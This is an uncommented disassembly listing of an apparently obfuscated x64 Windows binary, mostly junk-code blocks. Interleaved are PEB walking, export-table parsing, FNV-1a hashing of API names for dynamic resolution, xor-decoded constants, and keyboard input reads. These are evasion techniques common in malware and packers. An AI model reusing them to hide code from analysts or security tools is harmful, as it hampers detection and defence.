jmp 0x1400730eb
test r10d, r10d
jne 0x140082b28
push rax
pushf
mov eax, 0x4887d82
pushf
not eax
add eax, 0x5745b173
xor eax, 0x15431d16
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x5f8377ec
xor eax, 0x509de2e1
rol eax, 0x52
popf
pushf
not eax
add eax, 0x3bd0a142
xor eax, 0x6c1a2863
rol eax, 7
popf
pushf
not eax
add eax, 0x382b4e5
xor eax, 0x534b8702
rol eax, 0xd5
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xfff4134e
pushf
not eax
add eax, 0x215e2006
xor eax, 0x771b5951
rol eax, 0xae
popf
pushf
not eax
add eax, 0x8c7598d
xor eax, 0x4a541899
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x5a0b872a
xor eax, 0x1b44231c
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x689ee081
xor eax, 0x56ddc43d
rol eax, 0xd2
popf
jmp 0x1400730eb
mov qword [0x140044160], rax
movabs rdi, 0x84ed71c64a6ee7c
pushf
not rdi
add rdi, 0x5959426a
xor rdi, 0x3463bc5b
rol rdi, 0xbd
popf
pushf
not rdi
add rdi, 0x7d4bfdb4
xor rdi, 0x21ce0dd9
rol rdi, 0xfc
popf
movabs rsi, 0x2cbaf5d32d042237
pushf
not rsi
add rsi, 0x550960fa
xor rsi, 0x7a8d3476
rol rsi, 0xe1
popf
pushf
not rsi
add rsi, 0x38727496
xor rsi, 0x5c99bb50
rol rsi, 0xff
popf
push rax
pushf
mov eax, 0xc1adb4c3
pushf
not eax
add eax, 0x36c308a7
xor eax, 0x1353e86
rol eax, 0x53
popf
pushf
not eax
add eax, 0x3ca48289
xor eax, 0x547e342d
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x3e9c2f96
xor eax, 0x2dfa1ae0
rol eax, 0x98
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140082fee
push rax
pushf
mov eax, 0xb9748791
pushf
not eax
add eax, 0xf3c91fb
xor eax, 0x2cf0c296
rol eax, 0x24
popf
pushf
not eax
add eax, 0x5c01a0dc
xor eax, 0x2442a031
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x6a4aa96
xor eax, 0x1ac481d5
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x465467e0
xor eax, 0xb0e5005
rol eax, 0x12
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x511c2e9
pushf
not eax
add eax, 0x71aef4b2
xor eax, 0x75bb0df2
rol eax, 0x66
popf
pushf
not eax
add eax, 0x7afdef2b
xor eax, 0x1033b77f
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x4b324e4e
xor eax, 0x2a61d3dd
rol eax, 0xee
popf
pushf
not eax
add eax, 0x60351da5
xor eax, 0x50242e14
rol eax, 0xe4
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x45e7af32
pushf
not eax
add eax, 0x78d12fee
xor eax, 0x61f5be36
rol eax, 0x81
popf
pushf
not eax
add eax, 0x1bdd2a49
xor eax, 0x36a1ed0d
rol eax, 0x51
popf
pushf
not eax
add eax, 0x4f60b950
xor eax, 0x26a72a06
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x6a9851d9
xor eax, 0x7631e432
rol eax, 0x97
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x140083508
push rax
pushf
mov eax, 0xa4fb70b4
pushf
not eax
add eax, 0x2121525d
xor eax, 0x7bf773bf
rol eax, 0x43
popf
pushf
not eax
add eax, 0x19b28c5
xor eax, 0x3a188c83
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x1393701a
xor eax, 0x3e57d8f0
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x386ded15
xor eax, 0x1f035d1c
rol eax, 0xd
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x4ac3dece
pushf
not eax
add eax, 0x522a2175
xor eax, 0x4b4fad58
rol eax, 0x19
popf
pushf
not eax
add eax, 0x53b49f31
xor eax, 0x3bd6b3b3
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x79c298da
xor eax, 0x1c6bdef
rol eax, 4
popf
pushf
not eax
add eax, 0x727197bd
xor eax, 0x13795290
rol eax, 0x65
popf
jmp 0x1400730eb
lea rcx, [0x1bac27be4]
pushf
sub rcx, 0x7abf7174
popf
jmp 0x1400835d6
call rax
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140091231
mov rax, qword [0x140043ff8]
test rax, rax
jne 0x140083651
push rax
pushf
mov eax, 0xc8c76147
pushf
not eax
add eax, 0x4736e907
xor eax, 0x75403750
rol eax, 0xa
popf
pushf
not eax
add eax, 0x77fb4b30
xor eax, 0x5d591be7
rol eax, 0x12
popf
pushf
not eax
add eax, 0x343b29f0
xor eax, 0x3987e615
rol eax, 0xad
popf
pushf
not eax
add eax, 0x58945e47
xor eax, 0x5d104322
rol eax, 0xac
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xd9979026
pushf
not eax
add eax, 0x2a2f5eb2
xor eax, 0x513b3af7
rol eax, 0x16
popf
pushf
not eax
add eax, 0x656c43e3
xor eax, 0x103cd9d5
rol eax, 0x93
popf
pushf
not eax
add eax, 0xcf6b44a
xor eax, 0x17f4191
rol eax, 0x95
popf
jmp 0x1400730eb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0x864c7ed3
pushf
not eax
add eax, 0x5a0172fe
xor eax, 0x2c6bda4c
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x33df5aa3
xor eax, 0x7bb83905
rol eax, 0xec
popf
pushf
not eax
add eax, 0x3689c408
xor eax, 0x4ce166a
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb7c98d1
xor eax, 0x6bfa3e64
rol eax, 0xf
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x14008377b
push rax
pushf
mov eax, 0x75364ba7
pushf
not eax
add eax, 0x5e3f82d
xor eax, 0x9116a2c
rol eax, 0xe
popf
pushf
not eax
add eax, 0x59b30dc9
xor eax, 0x48fbbd1a
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x2cb3692c
xor eax, 0x7c39730a
rol eax, 0xb9
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x8f471390
pushf
not eax
add eax, 0x3e8ed6e9
xor eax, 0x10ffe4c4
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x301e4eea
xor eax, 0x592fdbeb
rol eax, 0xac
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x140083cc5
push rax
pushf
mov eax, 0xb5ebcfbc
pushf
not eax
add eax, 0x53e6b97b
xor eax, 0x17b77ab
rol eax, 0xf
popf
pushf
not eax
add eax, 0xbc8ef0a
xor eax, 0x23105e98
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x230ae16f
xor eax, 0x6c8d9cf0
rol eax, 0xae
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xaada23f
pushf
not eax
add eax, 0x3bcc9086
xor eax, 0x47365095
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x25936410
xor eax, 0x1afce84d
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x4322bb11
xor eax, 0x1bf4e44e
rol eax, 0xa1
popf
jmp 0x1400730eb
xor eax, eax
mov qword [0x140043ff8], rax
push rax
pushf
mov eax, 0x42345259
pushf
not eax
add eax, 0xa571ef7
xor eax, 0x4fae5d94
rol eax, 0
popf
pushf
not eax
add eax, 0x1db74924
xor eax, 0x1e49d136
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x61405404
xor eax, 0x5945c716
rol eax, 0x76
popf
pushf
not eax
add eax, 0x6c380366
xor eax, 0x50ced5ed
rol eax, 0x7d
popf
jmp 0x1400730eb
movabs rcx, 0xff41744c718044d6
pushf
not rcx
add rcx, 0x366c1cee
xor rcx, 0x3308ea5e
rol rcx, 0xf2
popf
pushf
not rcx
add rcx, 0x3a633d32
xor rcx, 0x28fcfbf9
rol rcx, 0x63
popf
pushf
not rcx
add rcx, 0x33658c5f
xor rcx, 0x7660624f
rol rcx, 0x81
popf
mov qword [rbp + 0x40], rcx
movabs r15, 0x4a449c7934f0c12c
pushf
not r15
add r15, 0x47b0cacb
xor r15, 0x5b5737fa
rol r15, 0x4a
popf
pushf
not r15
add r15, 0xc35db61
xor r15, 0x37eee657
rol r15, 0xf5
popf
pushf
not r15
add r15, 0x7d707c53
xor r15, 0x334bb19
rol r15, 0x1c
popf
mov qword [rbp + 0x48], r15
movabs r12, 0x490e54fe6c962413
pushf
not r12
add r12, 0x751fd1be
xor r12, 0x7cd0727f
rol r12, 0xe0
popf
pushf
not r12
add r12, 0x4cef8cd4
xor r12, 0x47988c0b
rol r12, 0x90
popf
pushf
not r12
add r12, 0x4f03aa89
xor r12, 0x29fc857
rol r12, 0x76
popf
mov qword [rbp - 0x80], r12
movabs r15, 0x413b5c854addb36e
pushf
not r15
add r15, 0x5906792c
xor r15, 0x6de01452
rol r15, 5
popf
pushf
not r15
add r15, 0x116e7eef
xor r15, 0x669dd073
rol r15, 0xb2
popf
mov qword [rbp - 0x78], r15
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
jmp 0x140083ecb
call rax
jmp 0x140083ece
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov ebx, eax
cmp al, 0xd
je 0x140083f24
push rax
pushf
mov eax, 0xd8a0c911
pushf
not eax
add eax, 0x2f953f31
xor eax, 0x659fa466
rol eax, 0x14
popf
pushf
not eax
add eax, 0x3396f584
xor eax, 0x5af8e36f
rol eax, 0xee
popf
pushf
not eax
add eax, 0x5cccdc58
xor eax, 0x1562868f
rol eax, 0x24
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xe5d4042
pushf
not eax
add eax, 0x391d73a4
xor eax, 0x745e8652
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x652d249f
xor eax, 0xaa7124b
rol eax, 5
popf
pushf
not eax
add eax, 0x438aaa55
xor eax, 0x1e8457ca
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x70aebe40
xor eax, 0x1f39d2ad
rol eax, 0xa7
popf
jmp 0x1400730eb
cmp qword [rbp + 0xa0], 0
je 0x14008409f
push rax
pushf
mov eax, 0x630a1bdc
pushf
not eax
add eax, 0x5fc8d65d
xor eax, 0x2fea5414
rol eax, 0x18
popf
pushf
not eax
add eax, 0x82c0703
xor eax, 0x4974b102
rol eax, 0xed
popf
pushf
not eax
add eax, 0x4247f70e
xor eax, 0x32fae8d6
rol eax, 0x16
popf
pushf
not eax
add eax, 0x3dd47204
xor eax, 0x7617a8c4
rol eax, 0x9f
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x9b116bb5
pushf
not eax
add eax, 0xccaa69
xor eax, 0xa6bbfe3
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x11504430
xor eax, 0xf404ed1
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x1ca5ceba
xor eax, 0xe3f5589
rol eax, 0x82
popf
jmp 0x1400730eb
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140082c88
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
movzx ebx, al
cmp al, 0xd
jne 0x1400843d5
push rax
pushf
mov eax, 0xf4378ed4
pushf
not eax
add eax, 0x6b2008ee
xor eax, 0x110fdaff
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x4bbb7822
xor eax, 0x6bec3642
rol eax, 0xa4
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xc7c228a6
pushf
not eax
add eax, 0x28b84b37
xor eax, 0x430811bd
rol eax, 0x68
popf
pushf
not eax
add eax, 0x5262b9b4
xor eax, 0x19a93746
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x4ef5787
xor eax, 0x3cca2ae2
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x377902f4
xor eax, 0x63fd1ce5
rol eax, 0x4f
popf
jmp 0x1400730eb
mov rax, qword [0x1400440c0]
test rax, rax
jne 0x140084484
push rax
pushf
mov eax, 0xa94cb621
pushf
not eax
add eax, 0x76c77c78
xor eax, 0x30c553ad
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x5cafa4a4
xor eax, 0xac6763e
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x5f3aef69
xor eax, 0x4fdc2718
rol eax, 0x8d
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x473ef4f3
pushf
not eax
add eax, 0xd86f3bf
xor eax, 0x138c7a11
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x3506ddec
xor eax, 0x386aa230
rol eax, 0x64
popf
pushf
not eax
add eax, 0x7b575d7d
xor eax, 0x7ffaea28
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x539a7cdd
xor eax, 0xdc7c79b
rol eax, 0xd5
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x140084594
push rax
pushf
mov eax, 0xad822d53
pushf
not eax
add eax, 0x24873d7f
xor eax, 0x750df01b
rol eax, 0x18
popf
pushf
not eax
add eax, 0x3ba99ac0
xor eax, 0x7ce6ad48
rol eax, 0x94
popf
pushf
not eax
add eax, 0x45b18645
xor eax, 0x7c3a1991
rol eax, 0xfd
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xacad5c41
pushf
not eax
add eax, 0x291e90f
xor eax, 0x4de09251
rol eax, 0x43
popf
pushf
not eax
add eax, 0xb70d0ed
xor eax, 0x5cffdc0c
rol eax, 0xcc
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140084616
push rax
pushf
mov eax, 0x843dbaac
pushf
not eax
add eax, 0xfc9f135
xor eax, 0x22f9fae0
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x62b69238
xor eax, 0x3a620327
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x79214d79
xor eax, 0x11e8d9b9
rol eax, 0xa5
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xebd88dca
pushf
not eax
add eax, 0x166f8479
xor eax, 0x3aaacd50
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x5a1eb865
xor eax, 0x5dd15fed
rol eax, 0x93
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xea46e7bb
pushf
not eax
add eax, 0x5686be3e
xor eax, 0x7fff0833
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x4df5bf0f
xor eax, 0x2957b81b
rol eax, 0x47
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140084843
push rax
pushf
mov eax, 0x9ca0097
pushf
not eax
add eax, 0xdc7ab62
xor eax, 0x2c5ecbc9
rol eax, 0x37
popf
pushf
not eax
add eax, 0x7c9e7b47
xor eax, 0x57b4c088
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x54b38b21
xor eax, 0x1e17762f
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x5addc025
xor eax, 0x54024c5e
rol eax, 0x59
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xc02f31c4
pushf
not eax
add eax, 0x3376a702
xor eax, 0x27d0dec4
rol eax, 0xee
popf
pushf
not eax
add eax, 0x544f157
xor eax, 0x1c98d9c7
rol eax, 0xde
popf
pushf
not eax
add eax, 0x66c668e5
xor eax, 0x520f5fab
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xd1e7abd
xor eax, 0x6f1b6921
rol eax, 7
popf
jmp 0x1400730eb
test r10d, r10d
jne 0x140084980
push rax
pushf
mov eax, 0x5528b2e9
pushf
not eax
add eax, 0xfa95737
xor eax, 0x70d2cf2
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x3a5ad22d
xor eax, 0x1d3f4e49
rol eax, 0xd
popf
pushf
not eax
add eax, 0x32f4e1fe
xor eax, 0x7d6f115b
rol eax, 0xb5
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x522aeed6
pushf
not eax
add eax, 0x24c0698f
xor eax, 0x51a3276c
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xcc77d83
xor eax, 0x1ecd3fd5
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf8b94a8
xor eax, 0x1966b432
rol eax, 0xba
popf
pushf
not eax
add eax, 0x2a17456d
xor eax, 0x65194227
rol eax, 0xe4
popf
jmp 0x1400730eb
mov qword [0x1400440c0], rax
push rax
pushf
mov eax, 0x18bbef7c
pushf
not eax
add eax, 0xd10d45e
xor eax, 0x6b1531ca
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xf6bdc3b
xor eax, 0x6b83a19e
rol eax, 0x65
popf
jmp 0x1400730eb
mov edx, dword [rbx + 0x1c]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov ecx, dword [rbx + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140084b06